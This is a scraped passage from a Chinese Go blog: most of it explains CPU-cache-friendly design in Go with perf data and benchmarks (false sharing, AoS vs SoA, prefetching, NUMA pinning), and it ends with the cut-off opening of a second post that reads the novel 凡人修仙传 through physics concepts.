BenchmarkFalseSharing/Unpadded\u0026#39;: 229843537 L1-dcache-loads 35433482 L1-dcache-load-misses # 15.42% of all L1-dcache accesses 1.619401127 seconds time elapsed 3.156380000 seconds user 0.027971000 seconds sys // 获取Padded counter的l1-cache-misses $perf stat -e L1-dcache-loads,L1-dcache-load-misses ./benchmark.test -test.benchmem -test.bench \u0026#34;BenchmarkFalseSharing/Padded\u0026#34; goos: linux goarch: amd64 pkg: demo cpu: Intel(R) Xeon(R) CPU E5-2695 v2 @ 2.40GHz BenchmarkFalseSharing/Padded_(No_False_Sharing)-2 281670135 4.090 ns/op 0 B/op 0 allocs/op PASS Performance counter stats for \u0026#39;./benchmark.test -test.benchmem -test.bench BenchmarkFalseSharing/Padded\u0026#39;: 1154274976 L1-dcache-loads 1136810 L1-dcache-load-misses # 0.10% of all L1-dcache accesses 1.617512776 seconds time elapsed 3.143121000 seconds user 0.040095000 seconds sys 分析一：性能的最终裁决 (ns/op) 首先，我们来看基准测试的最终结果，这是衡量性能的“黄金标准”。\nPadded（无伪共享）版本的性能是 Unpadded（有伪共享）版本的约 5 倍。这无可辩驳地证明，内存填充在这种场景下带来了巨大的性能提升。\n分析二：深入 L1 缓存——锁定“犯罪证据” 为了理解这 5 倍的性能差距从何而来，我们再看一下使用 perf 观察到的 L1 数据缓存 (L1-dcache) 的行为。\n这份数据揭示了两个惊人的、看似矛盾却直指真相的现象：\nL1 未命中率是决定性指标：Unpadded 版本的 L1 缓存未命中率高达 15.42%，而 Padded 版本则低至 0.10%。这正是伪共享的直接证据：在 Unpadded 场景下，当一个核心修改了共享的缓存行，其他核心的 L1 缓存中的该行就会失效。当其他核心尝试访问自己的变量时，就会导致一次昂贵的 L1 缺失，必须通过缓存一致性协议从其他核心或更慢的内存层级获取数据。\nL1 加载次数是“吞吐量”的体现：性能更好的 Padded 版本，其 L1-dcache-loads（L1 缓存加载次数）竟然是 Unpadded 版本的近 5 倍！这并非性能问题，恰恰是高性能的“症状”。Unpadded 版本因为频繁的缓存同步，CPU 核心大部分时间都在停顿 (Stalled)，等待数据。而 Padded 版本由于极高的 L1 命中率，CPU 核心火力全开，以极高的吞吐量疯狂执行指令，因此在相同时间内执行了多得多的 L1 访问。\n分析三：通用 cache-misses 指标的“误导性” 现在，让我们来看一组最容易让人得出错误结论的数据——顶层的 cache-misses 指标。这个指标在 perf 中通常衡量的是最后一级缓存 (Last Level Cache, LLC)，也就是 L3 缓存的未命中次数。\n惊人的反常现象：性能差了 5 倍的 Unpadded 版本，其 LLC 未命中率竟然只有 0.75%，堪称“完美”！而性能极佳的 Padded 版本，未命中率却高达 20.85%。这究竟是为什么？\n要理解这个现象，我们必须深入到多核 CPU 的缓存一致性 (Cache Coherence) 协议（如 MESI 协议）的层面。\nUnpadded 场景：一场 L1/L2 之间的“内部战争”\n在 Unpadded（伪共享）场景下，多个物理核心正在争夺同一个缓存行的写入权。让我们简化一下这个过程：\n核心 A 对 counters[0] 进行原子加操作。它首先需要获得该缓存行的独占 (Exclusive) 所有权。它将该缓存行加载到自己的 L1/L2 缓存中，并将其状态标记为已修改 (Modified)。\n与此同时，核心 B 试图对 counters[1]（位于同一个缓存行）进行原子加操作。它发出请求，想要获得该缓存行的独占权。\n总线监听到这个请求，发现核心 A 持有该缓存行的“脏”数据。\n此时，并不会直接去访问最慢的主内存。相反，会发生以下情况之一（具体取决于协议细节和硬件）： * 核心 A 将其 L1/L2 中的“脏”缓存行数据写回 (write-back) 到共享的 L3 缓存中。 * 核心 A 直接通过高速的核间互联总线，将缓存行数据转发 (forward) 给核心 B。\n核心 B 获得了最新的缓存行，执行操作，并将其标记为“已修改”。\n紧接着，核心 A 又需要更新 counters[0]，于是上述过程反向重复。\n这个在不同核心的私有缓存（L1/L2）之间来回传递缓存行所有权的“乒乓效应”，就是伪共享性能损耗的根源。\n注：cache-misses 的真正含义：perf 的 cache-misses 指标，通常统计的是 LLC 未命中，即连 L3 缓存都找不到数据，必须去访问主内存的情况。在伪共享场景下，这种情况非常罕见！\n因此，Unpadded 版本那 0.75% 的超低 LLC 未命中率，非但不是性能优异的证明，反而是一个危险的信号。它掩盖了在 L1/L2 层面发生的、数以千万计的、极其昂贵的核间同步开销。\nPadded 场景：清晰的“内外分工”\n在 Padded（无伪共享）场景下，每个核心操作的都是自己独占的缓存行，互不干扰。\n初始加载：在 benchmark 开始时，每个核心第一次访问自己的计数器时，会发生一次“强制性未命中”(Compulsory Miss)。数据会从主内存 -\u0026gt; L3 -\u0026gt; L2 -\u0026gt; L1，一路加载进来。这些初始加载，构成了 Padded 版本中 cache-misses 和 L1-dcache-load-misses 的主要来源。 后续操作：一旦数据进入了核心的私有缓存（特别是 L1），后续的所有原子加操作都将以极高的速度在 L1 缓存内部完成。这些操作既不会干扰其他核心，也几乎不再需要访问 L3 或主内存。 Padded 版本那 20.85% 的 LLC 未命中率，反映了一个完全健康的行为模式。它的分母 (cache-references) 很小，因为大部分操作都在 L1 内部消化了，没有产生需要统计的“引用”事件。这个比率，主要反映的是程序启动和数据初始化时的正常开销。\n综上，在分析伪共享这类并发性能问题时，顶层的 cache-misses（LLC misses）指标是一个极具误导性的“虚荣指标”。我们必须深入到更底层的、核心私有的缓存指标（如 L1-dcache-load-misses）中，才能找到问题的真正根源。\n数据导向设计 —— AoS vs. SoA 的抉择 面向对象编程（OOP）教会我们围绕“对象”来组织数据，这通常会导致结构体数组 (Array of Structs, AoS) 的布局。然而，在高性能计算中，这种布局往往是缓存的噩梦，因为它违背了数据局部性 (Data Locality) 原则。\nAoS vs. SoA 的核心差异 AoS (Array of Structs): 当你顺序处理一个 []EntityAoS 切片时，你感兴趣的 Position 数据在内存中是不连续的，它们被其他无关数据隔开。这导致 CPU 为了处理 N 个实体的位置，可能需要加载 N 个缓存行，其中很大一部分数据都是在当前循环中无用的“噪音”，造成了严重的缓存和内存带宽浪费。\nSoA (Struct of Arrays): 数据导向设计（DOD）的核心思想是，根据数据的处理方式来组织数据。通过将相同类型的字段聚合在一起，我们确保了在处理特定任务时，所有需要的数据在内存中都是紧密连续的。这使得 CPU 的硬件预取器能够完美工作，极大地提高了缓存命中率。\n注：是不是觉得AoS更像“面向行的数据”，而SoA更像是“面向列的数据”呢！\n设计一个有意义的 Benchmark：隔离内存访问瓶颈 要通过 benchmark 来验证 AoS 和 SoA 的性能差异，我们必须精心设计实验，确保内存访问是唯一的瓶颈。这意味着循环体内的计算量应该尽可能小。一个简单的求和操作是理想的选择。\n同时，我们必须确保工作集远大于 CPU 的最后一级缓存 (LLC)，以强制 CPU 从主内存流式加载数据。\n// data-oriented-design/demo/main.go package main const ( // 将实体数量增加到 1M，确保工作集大于大多数 CPU 的 L3 缓存 numEntities = 1024 * 1024 ) // --- AoS (Array of Structs): 缓存不友好 --- type EntityAoS struct { // 假设这是一个更复杂的结构体 ID uint64 Health int Position [3]float64 // ... 更多字段 } func SumHealthAoS(entities []EntityAoS) int { var totalHealth int for i := range entities { // 每次循环，CPU 都必须加载整个庞大的 EntityAoS 结构体， // 即使我们只用到了 Health 这一个字段。 totalHealth += entities[i].Health } return totalHealth } // --- SoA (Struct of Arrays): 缓存的挚友 --- type WorldSoA struct { IDs []uint64 Healths []int Positions [][3]float64 // ... 更多字段的切片 } func NewWorldSoA(n int) *WorldSoA { return \u0026amp;WorldSoA{ IDs: make([]uint64, n), Healths: make([]int, n), Positions: make([][3]float64, n), } } func SumHealthSoA(world *WorldSoA) int { var totalHealth int // 这个循环只访问 Healths 切片，数据完美连续。 for i := range world.Healths { totalHealth += world.Healths[i] } return totalHealth } // data-oriented-design/demo/main_test.go package main import \u0026#34;testing\u0026#34; func BenchmarkAoSvsSoA(b *testing.B) { b.Run(\u0026#34;AoS (Sum Health) - Large\u0026#34;, func(b *testing.B) { entities := make([]EntityAoS, numEntities) for i := range entities { entities[i].Health = i } b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { SumHealthAoS(entities) } }) b.Run(\u0026#34;SoA (Sum Health) - Large\u0026#34;, func(b *testing.B) { world := NewWorldSoA(numEntities) for i := range world.Healths { world.Healths[i] = i } b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { SumHealthSoA(world) } }) } 下面是在我的机器上的benchmark运行结果 (在内存密集型负载下):\n$go test -bench . goos: darwin goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkAoSvsSoA/AoS_(Sum_Health)_-_Large-8 2030 574302 ns/op 0 B/op 0 allocs/op BenchmarkAoSvsSoA/SoA_(Sum_Health)_-_Large-8 3964 288648 ns/op 0 B/op 0 allocs/op PASS ok demo 2.491s (注意：具体数值会因硬件而异)\n我们看到：当 benchmark 真正触及内存访问瓶颈时，SoA 布局的性能优势尽显，比 AoS 快了超过 1 倍！这也揭示了在处理大数据集时，与硬件缓存协同工作的数据布局是通往高性能的必由之路。\n与硬件共舞 —— 高级数据布局与访问模式 冷热数据分离 这是 SoA 思想的一种延伸。在一个大型结构体中，总有一些字段被频繁访问（热数据），而另一些则很少被触及（冷数据）。将它们混在一个结构体中，会导致在处理热数据时，不必要地将冷数据也加载到缓存中，造成**“缓存污染” (Cache Pollution)**，浪费宝贵的内存带宽。\n通过将热数据打包在一个紧凑的结构体中，我们可以：\n提高数据密度：一个 64 字节的缓存行，可以容纳更多的“有效”热数据。 提升内存带宽利用率：CPU 从主内存加载数据的带宽是有限的。确保加载到缓存的每一字节都是即将要用的数据，是性能优化的关键。 让我们通过一个模拟的用户数据结构，来直观地理解这个概念：\n优化前：冷热数据混合的“胖”结构体\ntype UserMixed struct { // --- 热数据 (Hot Data) --- // 在列表页排序、过滤时被高频访问 ID uint64 Score int IsActive bool Timestamp int64 // --- 冷数据 (Cold Data) --- // 仅在用户详情页才会被访问 Name string Email string AvatarURL string Bio string Address string // ... 可能还有几十个不常用的字段 } // 当我们对 []UserMixed 按 Score 排序时， // 每次比较都会将包含 Name, Email, Bio 等冷数据的整个结构体加载到缓存中。 优化后：冷热数据分离\n// \u0026#34;热\u0026#34;结构体：紧凑，只包含高频访问的字段 type UserHot struct { ID uint64 Score int IsActive bool Timestamp int64 // 用一个指针指向不常用的冷数据 ColdData *UserCold } // \u0026#34;冷\u0026#34;结构体：包含所有低频访问的字段 type UserCold struct { Name string Email string AvatarURL string Bio string Address string // ... } // 现在，对 []UserHot 按 Score 排序时， // 每次比较只加载一个非常小的 UserHot 结构体，缓存效率极高。 // 只有当用户真正点击进入详情页时，我们才通过 ColdData 指针去加载冷数据。 这个简单的重构，正是“冷热数据分离”思想的精髓。\n尽管“冷热数据分离”的原理无可辩驳，但在一个简单的基准测试 (benchmark) 中想可靠地、大幅度地展示其性能优势，却较为困难。这是因为基准测试的环境相对“纯净”，它常常无法模拟出这项优化真正能发挥作用的现实世界瓶颈。\n其原因主要有二：\n被其他瓶颈掩盖： * **算法瓶颈**：如果我们用一个本身就缓存不友好的算法（如 sort.Slice）来测试，那么算法的非线性内存访问模式所带来的缓存未命中，将成为性能的主导瓶颈，完全淹没掉因数据结构变小而带来的收益。 * **内存延迟瓶颈**：如果我们用一个计算量极小的循环（如简单的求和）来测试，CPU 绝大部分时间都在**“停顿” (Stalled)**，等待下一个数据块从主内存的到来。在这种场景下，性能的瓶颈是**内存访问的延迟**，而不是**内存带宽**。无论是加载一个 100 字节的“大”数据块，还是一个 24 字节的“小”数据块，CPU 都得等。因此，性能差异不明显。 现代 CPU 的“智能化”：现代 CPU 拥有极其复杂的硬件预取器 (Prefetcher) 和乱序执行引擎 (Out-of-Order Execution)。对于一个简单的、可预测的线性扫描，预取器可能会非常成功地提前加载数据，从而隐藏了大部分内存延迟，进一步削弱了“胖”、“瘦”结构体之间的性能差异。 帮助 CPU 预测未来 现代 CPU 拥有强大的硬件预取器 (Hardware Prefetcher) 和 分支预测器 (Branch Predictor)。它们都依赖于一种核心能力：从过去的行为中预测未来。我们的代码能否高效运行，很大程度上取决于我们能否写出让 CPU“容易猜到”的代码。\n模式一：可预测的内存访问 (Prefetching) 糟糕的模式：随机内存访问。它会彻底摧毁预取器的作用，导致每一次访问都可能是一次昂贵的缓存未命中。\n优秀的模式：线性、连续的内存访问。这是 CPU 预取器的最爱。\n下面是一个是否支持预取的对比benchmark示例：\n// prefetching/main.go package main // 线性访问，预取器可以完美工作 func SumLinear(data []int) int64 { var sum int64 for i := 0; i \u0026lt; len(data); i++ { sum += int64(data[i]) } return sum } // 随机访问，预取器失效 func SumRandom(data []int, indices []int) int64 { var sum int64 for _, idx := range indices { sum += int64(data[idx]) } return sum } // prefetching/main_test.go package main import ( \u0026#34;math/rand\u0026#34; \u0026#34;testing\u0026#34; ) func BenchmarkPrefetching(b *testing.B) { size := 1024 * 1024 data := make([]int, size) indices := make([]int, size) for i := 0; i \u0026lt; size; i++ { data[i] = i indices[i] = i } rand.Shuffle(len(indices), func(i, j int) { indices[i], indices[j] = indices[j], indices[i] }) b.Run(\u0026#34;Linear Access\u0026#34;, func(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { SumLinear(data) } }) b.Run(\u0026#34;Random Access\u0026#34;, func(b *testing.B) { for i := 0; i \u0026lt; b.N; i++ { SumRandom(data, indices) } }) } 运行结果：\n$go test -bench . goos: darwin goarch: amd64 pkg: demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkPrefetching/Linear_Access-8 4164 315895 ns/op BenchmarkPrefetching/Random_Access-8 2236 522074 ns/op PASS ok demo 3.711s 这个 benchmark 的结果是稳定且可靠的，因为它直接测量了内存访问模式的差异。近2倍的性能差距清晰地证明了线性访问的优势。\n模式二：可预测的分支 现代 CPU 的流水线在遇到 if 等条件分支时，会进行“分支预测”。如果猜对了，流水线继续顺畅执行；如果猜错了，则需要清空流水线并重新填充，带来巨大的性能惩罚（几十个时钟周期）。\n下面我们从理论上对比一下好坏两种模式的代码。\n糟糕的模式（不可预测的分支）：\n// 如果 data 是完全随机的，if 分支的走向大约有 50% 的概率被预测错误 func CountUnpredictable(data []int) int { var count int for _, v := range data { if v \u0026gt; 128 { count++ } } return count } 优秀的模式：\n先排序：如果可以，在处理前先对数据进行排序。这样，if 分支会先连续地 false 一段时间，然后连续地 true，分支预测器的准确率会更高。 无分支代码 (Branchless Code)：在某些情况下，可以用算术运算来替代条件判断。 // 无分支版本，性能稳定 func CountBranchless(data []int) int { var count int for _, v := range data { // (v \u0026gt; 128) -\u0026gt; (v \u0026gt;\u0026gt; 7) \u0026amp; 1 for positive v \u0026lt; 256 count += (v \u0026gt;\u0026gt; 7) \u0026amp; 1 } return count } 尽管分支预测的原理无可辩驳，但在一个简单的基准测试中可靠地、大幅度地展示其性能优势，却较为困难，原因无非是现代 CPU 过于智能，以至于在一个“纯净”的基准测试环境中，它们有能力掩盖分支预测失败带来的惩罚，因此这里也不举例了。\nSIMD 友好的数据布局 (SIMD-Friendly Layouts) SIMD (Single Instruction, Multiple Data) 是一种硬件能力，允许 CPU 在一条指令中，同时对多个数据执行相同的操作。即将到来的 Go 1.26 计划引入一个实验性的 simd 包，这将为 Gopher 提供更直接、更强大的向量化计算能力。\n要让 Go 编译器（或未来的 simd 包）能够有效地利用 SIMD 指令，SoA 布局和内存对齐是关键。SoA 布局确保了需要同时处理的数据（例如多个向量的 X 分量）在内存中是连续的。\n// Enable SIMD processing with proper alignment type Vec3 struct { X, Y, Z float32 _ float32 // Padding for 16-byte alignment } // Process 4 vectors at once with SIMD func AddVectors(a, b []Vec3, result []Vec3) { // Compiler can vectorize this loop (目前Go编译器可能暂不支持该优化) for i := 0; i \u0026lt; len(a); i++ { result[i].X = a[i].X + b[i].X result[i].Y = a[i].Y + b[i].Y result[i].Z = a[i].Z + b[i].Z } } // 强制 64 字节对齐的技巧，可以确保数据块的起始地址与缓存行对齐 type AlignedBuffer struct { _ [0]byte data [1024]float64 } // var buffer = new(AlignedBuffer) // buffer.data 将保证 64 字节对齐 超越单核 —— NUMA 架构下的性能考量 在多路 CPU 服务器上(若干个物理cpu socket，几百个逻辑核心)，我们会遇到 NUMA (Non-Uniform Memory Access) 问题。简单来说，每个 CPU Socket 都有自己的“本地内存”，访问本地内存的速度远快于访问另一个 Socket 的“远程内存”。\n解决方案：NUMA 感知调度\n由于Go runtime的goroutine调度器目前尚未支持NUMA结构下的调度，对于极端的性能场景，我们可以手动将特定的 goroutine “钉” 在一个 CPU 核心上，确保它和它的数据始终保持“亲和性”。\npackage main import ( \u0026#34;fmt\u0026#34; \u0026#34;runtime\u0026#34; \u0026#34;golang.org/x/sys/unix\u0026#34; ) // PinToCPU 将当前 goroutine 绑定到固定的 OS 线程，并将该线程钉在指定的 CPU 核心上 func PinToCPU(cpuID int) error { runtime.LockOSThread() var cpuSet unix.CPUSet cpuSet.Zero() cpuSet.Set(cpuID) // SchedSetaffinity 的第一个参数 0 表示当前线程 err := unix.SchedSetaffinity(0, \u0026amp;cpuSet) if err != nil { runtime.UnlockOSThread() return fmt.Errorf(\u0026#34;failed to set CPU affinity: %w\u0026#34;, err) } return nil } func main() { fmt.Println(PinToCPU(0)) } 当然也可以使用一些服务器或OS发行版厂商提供的工具，在启动时为Go应用绑核(固定在一个CPU Socket上)，以避免程序运行时的跨CPU Socket的数据访问。\n小结 —— 成为与硬件共鸣的 Gopher 我们从一个简单的前提开始：CPU 很快，内存很慢。但这场穿越伪共享、数据布局、分支预测等重重迷雾的探索之旅，最终将我们引向了一个更深刻的结论：编写高性能 Go 代码，其本质是一场与硬件进行“机械共鸣” (Mechanical Sympathy) 的艺术。\n“机械共鸣”这个词，由工程师 Martin Thompson 提出，意指赛车手需要深刻理解赛车的工作原理，才能榨干其全部潜能。对于我们软件工程师而言，这意味着我们必须理解计算机的工作原理。\n然而，现代 CPU 极其复杂，而试图用简单的模型去精确地“算计”它，往往是徒劳的。 超线程、复杂的缓存一致性协议、强大的硬件预取器、深不可测的乱序执行引擎……这些“黑魔法”使得底层性能在微观层面充满了不确定性。\n这是否意味着性能优化已无章可循？恰恰相反。它为我们指明了真正的方向：\n我们追求的不应是基于特定硬件的、脆弱的“微优化技巧”，而应是那些能够在宏观层面、大概率上与硬件工作模式相符的设计原则：\n数据局部性 (Locality)：让相关的数据在物理上靠得更近 (AoS -\u0026gt; SoA, 冷热分离)。 线性访问 (Linearity)：让数据以可预测的顺序被访问 (数组优于链表)。 独立性 (Independence)：让并发任务在物理上相互隔离 (避免伪共享)。 这些原则，之所以有效，并非因为它们能“战胜”硬件的复杂性，而是因为它们顺应了硬件的设计初衷。它们为 CPU 强大的优化引擎提供了最佳的“原材料”，让硬件能够最大限度地发挥其威力。\n最终，这场探索之旅的终极教训，或许在于培养一种全新的思维模式：像 CPU 一样思考。在设计数据结构时，不仅仅考虑其逻辑上的抽象，更要思考它在内存中的物理形态；在编写循环时，不仅仅考虑其算法复杂度，更要思考其内存访问模式。\nGo 语言，以其对底层一定程度的暴露（如显式的内存布局）和强大的工具链（如 pprof），为我们实践“机械共鸣”提供了绝佳的舞台。掌握了这些原则，你将不仅能写出“能工作”的 Go 代码，更能写出与硬件和谐共鸣、释放极限潜能的、真正优雅的 Go 程序。\n本文涉及的示例源码请在这里下载 – https://github.com/bigwhite/experiments/tree/master/cpu-cache-friendly\n附录：Go 高性能优化速查手册 缓存友好型 Go 编程的七大黄金法则\n打包热数据：将频繁访问的字段放在同一个结构体和缓存行中，以提高数据密度。 填充并发数据：用内存填充将不同 goroutine 独立更新的数据隔离开来，避免伪共享。 数组优于链表：线性、连续的内存访问远胜于随机跳转，能最大限度地发挥硬件预取器的作用。 使用更小的数据类型：在范围允许的情况下，使用 int32 而非 int64，可以在一个缓存行中容纳更多数据。 处理前先排序：可以极大地提升分支预测的准确率和数据预取的效率（但在性能测试中要小心将排序本身的开销计算在内）。 池化分配：通过重用内存（如 sync.Pool）可以避免 GC 开销，并有很大概率保持缓存的热度。 剖析，不要猜测：始终使用 perf, pprof 和精心设计的基准测试来指导你的优化。 高性能优化“食谱”\n分析 (Profile)：用 perf 找到缓存未命中的重灾区，或用 pprof 定位 CPU 和内存热点。 重构 (Restructure)：在热点路径上，将 AoS 布局重构为 SoA 布局。 填充 (Pad)：消除伪共享。 打包 (Pack)：分离冷热数据。 线性化 (Linearize)：确保你的核心循环是线性的，避免随机内存访问。 测量 (Measure)：用严谨的、能够隔离变量的基准测试，来验证每一项优化的真实效果。 测试策略\n隔离变量：设计基准测试时，要确保你正在测量的，确实是你想要优化的那个单一变量，而不是被算法、GC、或其他运行时开销所掩盖。 关注吞吐量而非延迟：对于缓存优化，很多时候我们关心的是在单位时间内能处理多少数据（带宽），而不是单次操作的延迟。 使用真实数据规模：确保你的工作集远大于 CPU 的 L3 缓存，以模拟真实世界的内存压力。 跨硬件测试：在不同的 CPU 架构（Intel, AMD, ARM）和不同的硬件环境（笔记本 vs. 服务器）上进行测试，因为缓存行为是高度硬件相关的。 参考资料 CPU Cache-Friendly Data Structures in Go: 10x Speed with Same Algorithm – https://skoredin.pro/blog/golang/cpu-cache-friendly-go Latency Numbers Every Programmer Should Know – https://colin-scott.github.io/personal_website/research/interactive_latency.html Cache Lines – https://en.algorithmica.org/hpc/cpu-cache/cache-lines/ Mechanical Sympathy – https://www.infoq.com/presentations/mechanical-sympathy/ 你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n想系统学习Go，构建扎实的知识体系？\n我的新书《Go语言第一课》是你的首选。源自2.4万人好评的极客时间专栏，内容全面升级，同步至Go 1.24。首发期有专属五折优惠，不到40元即可入手，扫码即可拥有这本300页的Go语言入门宝典，即刻开启你的Go语言高效学习之旅！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/10/16/cpu-cache-friendly-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/cpu-cache-friendly-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/10/16/cpu-cache-friendly-in-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/10/16/cpu-cache-friendly-in-go\"\u003ehttps://tonybai.com/2025/10/16/cpu-cache-friendly-in-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e“现代 CPU 很快，而内存很慢。”\u003c/p\u003e\n\u003cp\u003e这句看似简单的陈词滥调，是理解现代高性能编程的唯一“真理”。我们常常致力于优化算法的时间复杂度，却忽略了一个更为根本的性能瓶颈：\u003cstrong\u003e数据在内存和 CPU 缓存之间的移动\u003c/strong\u003e。一次 L1 缓存的命中可能仅需数个时钟周期（~1ns），而一次主内存的访问则需要超过上百个周期（~100ns），这之间存在着超过 \u003cstrong\u003e100 倍\u003c/strong\u003e的惊人差距(2020年数据，如下图，近些年内存速度提升，但与L1缓存相比依旧有几十倍的差距)。\u003c/p\u003e","title":"释放 Go 的极限潜能：CPU 缓存友好的数据结构设计指南"},{"content":"\n本文永久链接 – https://tonybai.com/2025/10/15/physics-in-fanren\n大家好，我是Tony Bai。\n李淼教授的《三体中的物理学》曾让我们惊叹，原来恢弘的科幻背后，是坚实而又前沿的科学基石。读完《凡人修仙传》人界/灵界篇后，一个念头在我脑海中挥之不去：我们能否为韩立的修仙世界，构建一个自洽的“物理模型”？\n这并非要用科学去“祛魅”修仙，恰恰相反，这是一场思想实验。我们旨在探讨：如果修仙世界真的存在，其背后的“天道法则”是否能在现代物理学的框架内找到惊人相似的“投影”？\n当韩天尊遇见爱因斯坦，一场连接东方玄幻与前沿科学的奇妙对话，就此展开。我们不纠结“灵气”的具体成分，而是聚焦于修仙世界中更高阶的时空、维度与法则。\n界面飞升 —— 膜宇宙理论与高维空间 在《凡人》中，世界由无数“界面”构成——人界、灵界、小灵界、灵寰界、仙界……界面之间壁垒森严，修士需经历九死一生的“飞升”才能跨越。更奇特的是，不同界面的“天地法则”也不同，灵界的空间远比人界稳固，能承受的能量上限也更高。\n这听起来玄之又玄，但在现代物理学的前沿，却有一个理论与之惊人地契合——膜宇宙理论（Brane Cosmology）。\n源于弦理论/M理论的“膜宇宙”模型认为，我们熟悉的三维宇宙（长宽高），可能只是一张漂浮在更高维度“体宇宙”（The Bulk）中的巨大“膜”（Brane）。想象一下，无数张平行的纸（膜宇宙）漂浮在一个巨大的房间（体宇宙）里。\n现在，让我们进行一次大胆的映射：\n界面 = 膜宇宙 (Brane)： 每个人界、灵界，都是一个独立的“膜宇宙”。它们在更高维度中彼此平行，互不干涉。 飞升 = 跨膜运动 (Brane-hopping)： 什么是飞升？它不是在我们的三维空间里向上飞。而是修士集聚了无法想象的能量，将自己从当前所在的三维“膜”上撕裂出去，进入高维的“体宇宙”，再“降落”到另一个物理常数不同的“膜”上。这完美解释了飞升为何如此艰难，因为“体宇宙”中可能充满了凡人无法理解的能量风暴。 法则不同 = 物理常数差异： 为何灵界空间更稳固？因为不同“膜”上的物理常数、真空能级可能完全不同。灵界那张“膜”的“时空曲率韧性”远超人界，因此能承载更恐怖的能量冲击。 从这个角度看，韩立的飞升，本质上是一次壮丽的高维时空迁跃。\n空间裂缝与传送阵 —— 爱因斯坦-罗森桥（虫洞） 在凡人世界，长距离旅行依赖两种方式：稳定精确的传送阵，和天然但危险的空间裂缝。这两种设定，直指广义相对论中一个最迷人的预言——虫洞（Wormhole）。\n虫洞，又称爱因斯坦-罗森桥，是理论上连接时空遥远两点的“捷径”。它不是在空间中移动，而是通过更高维度直接“抄近路”。\n现在，让我们重新审视韩立的旅行方式：\n传送阵 = 人造稳定虫洞： 古代大能修士建造的传送阵，其复杂的符文和灵石能量系统，本质上是一套用于打开并维持一个微型、稳定虫洞的“物理装置”。所谓的“空间节点”，就是时空几何上最适合用当前技术打开虫洞的坐标。驱动传送阵需要海量灵石，这或许就是维持虫洞“喉咙”张开所需的庞大能量。 空间裂缝 = 天然不稳定虫洞： 自然形成的空间裂缝，由于缺乏稳定机制，极其危险，随时可能坍塌。这与物理学中对天然虫洞的描述不谋而合——它们可能瞬息万变，任何物质穿过都可能被潮汐力撕碎。 空间神通 = 局部时空扭曲： 大乘期修士的“瞬移”，可以理解为他们凭借强大的神识和法力，能够小范围、短时间地剧烈扭曲时空几何，制造出临时的、仅供自己通过的微型虫洞。 所以，韩立每一次踏上传送阵，都可能是一次穿越时空隧道的星际旅行。\n御风遁光 —— 引力操控与质能转换 除了跨越星辰大海的传送，修士最常用的神通莫过于“遁术”。从御风而行，到脚踏法器，再到化为一道惊天长虹，其背后可能隐藏着对宇宙基本力之一——引力——的精妙操控。\n我们都知道，引力的本质是质量导致的时空弯曲。那修士是如何摆脱这无处不在的束缚，实现自由飞行的呢？\n御器飞行 = 局部反重力场： 筑基期修士脚踏法器飞行，并非是站在一个“会飞的盘子”上那么简单。一个更令人信服的物理学解释是：修士通过法力（能量）作用于法器，在法器周围制造了一个小范围的、方向可控的**“反引力场”或“时空斥力泡”**。这个斥力泡抵消了星球的引力，通过改变场的方向和强度，就能实现远超空气动力学的超高速机动。这需要对广义相对论有极深的理解，或是掌握了能产生“负能量密度”的奇特物质。\n化虹遁光 = 质能转换（E=mc²）： 元婴期后的高阶遁术，修士自身化为一道光，这已经超越了反重力的范畴。这极有可能触及了爱因斯坦质能方程的终极应用。高阶修士通过某种秘法，能将自身部分静止质量/法力暂时转化为纯粹的能量形态（类似光子流）。在这种状态下，他们以接近光速行进，自然呈现为“遁光”。到达目的地后，再将能量逆转为物质，重新凝聚成形。\n境界越高，飞得越快，也得到了合理解释：要么是输出功率更大，反引力场更强；要么是对法则理解更深，质能转换的效率更高、损耗更小。\n时间法则 —— 相对论、熵增与时间箭头 《凡人》中，时间法则是至高无上的仙界三大至尊法则之一。韩立的掌天瓶和《真言化轮经》能操控时间流速，甚至进行有限的时间回溯。这触及了物理学最核心的领域。\n时间加速/延缓 = 极端时空曲率： 根据爱因斯坦的广义相对论，强大的引力场可以使时间变慢（引力时间膨胀）。掌天瓶内的神秘空间，或许就是通过某种机制，制造出一个超乎想象的等效引力场，从而让内部的时间流速相对于外界急剧变慢（即外界看来是“加速”了植物生长）。而《真言化轮经》的“时间延缓”，则可能是在敌人周围制造了类似的强时空曲率。\n逆转时间 = 逆转熵增： 这是最挑战物理学根基的能力。我们的宇宙之所以有明确的时间方向（时间之矢），根源在于热力学第二定律——孤立系统的“熵”（混乱度）总是趋向于增加。一杯热水会变凉，但一杯凉水不会自己变热。能够局部逆转时间，意味着能够在该区域内逆转熵增定律，让破碎的镜子复原，让死去的人复活。这需要对物质和能量进行完美的信息重组，其难度和能量级别是宇宙级的。这也解释了为何此法则是最顶级的力量，连道祖都难以完全掌控。\n韩立每一次催动掌天瓶，都是在自己的掌中，上演着一场微缩版的《星际穿越》。\n真幻之境 —— Matrix、拟像理论与缸中之脑 